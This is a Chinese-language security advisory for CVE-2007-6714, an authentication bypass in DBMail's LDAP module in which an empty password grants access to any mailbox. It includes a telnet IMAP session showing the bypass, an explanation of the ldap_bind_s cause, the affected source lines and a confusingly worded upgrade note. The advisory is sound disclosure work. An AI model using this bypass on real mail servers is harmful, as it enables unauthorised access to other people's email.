CVE:CVE-2007-6714
CNNVD:CNNVD-200804-269
Dbmail是一个程序集，允许从数据库检索和存储邮件，可使用MySQL、PostgreSQL和SQLite作为数据库后端。
Dbmail的认证过程存在安全漏洞，如果启用了authldap模块且LDAP服务器允许匿名登录，则任何用户都可以使用空口令字符串登录到任意帐号。
h000 ~ # telnet localhost 143
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
* OK dbmail imap (protocol version 4r1) server 2.2 ready to run
a login [EMAIL PROTECTED] ""
a OK LOGIN completed
a logout
* BYE dbmail imap server kisses you goodbye
a OK completed
Connection closed by foreign host.
漏洞的起因是ldap_bind_s函数：
int ldap_bind_s(LDAP *ld, const char *who, const char *cred,
int method);
如果cred参数为""的话，ldap库就会试图认证为匿名，bind返回成功，因此dbmail就允许用户进入到邮箱。
modules/authldap.c:1263
if (ldap_err) {
TRACE(TRACE_ERROR, "ldap_bind_s failed: %s",
ldap_err2string(ldap_err));
*user_idnr = 0;
} else {
db_user_log_login(*user_idnr);
}
solution:Upgrade dbmail dbmail to a higher version than 2.2.6,2.2.6:rc1,2.2.7,2.2.7:rc1,2.2.7:rc2,2.2.7:rc3,2.2.7:rc4,2.2.8,2.2.8:rc1,and avoid the version 2.2.6,2.2.6:rc1,2.2.7,2.2.7:rc1,2.2.7:rc2,2.2.7:rc3,2.2.7:rc4,2.2.8,2.2.8:rc1